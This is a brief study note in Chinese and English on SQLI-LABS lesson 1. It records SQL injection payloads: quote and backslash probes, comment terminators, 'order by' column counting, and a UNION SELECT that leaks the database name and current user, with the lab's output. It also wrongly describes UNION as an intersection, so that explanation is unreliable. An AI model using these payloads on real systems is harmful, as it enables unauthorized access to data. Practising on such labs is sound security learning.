Learn From
SQLI-LABS
Lesson 1
try{
?id=90999999999999999999999....
?id=news
?id=new1992
?id=1'
....
}
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
?id=1’ --+ --后面借一个符号或者空格才可以是 有效的注释符号
?id=1’ %23
先用?id=1 \ 侦查目标的query大概是什么样的。
less-1?id=1 \
->
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' '1\' LIMIT 0,1 ' at line 1
所以,暴露了 '1\' LIMIT 0,1
less-3? id=1 \
->
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1\') LIMIT 0,1' at line 1
暴露了 '1\') LIMIT 0,1
Less-1/?id=1' order by 4 --+
->
Unknown column '4' in 'order clause'
暴露了只有三个col
->
select col1,col2,col3 from table where id = 'your input'
知道有三列后,用union
?id=-1' union select 1,database(),current_user --+
->
Your Login name:security
Your Password:root@localhost
解:
select * from a union select * from b --这种是A表与B表结果的交集写法,合并表,没有重复行;
select * from a union all select * from b --这种是A表与B表结果的并集写法 有重复行;
插入union select 1,database(),current_user --+后,
$sql="SELECT * FROM users WHERE id=('$id') union select 1,database(),current_user --+LIMIT 0,1";
union之前 id=-1返回空的数据,作为交集 union后面得到的结果便是$sql。
select 1,database(),current_user 并没有从数据库表中的table提取数据,而users(id,username,password)与union select 1,2,3分别对应。
$result=mysql_query($sql);
$result里面的username和password于是对应union select 1,2,3的2,3;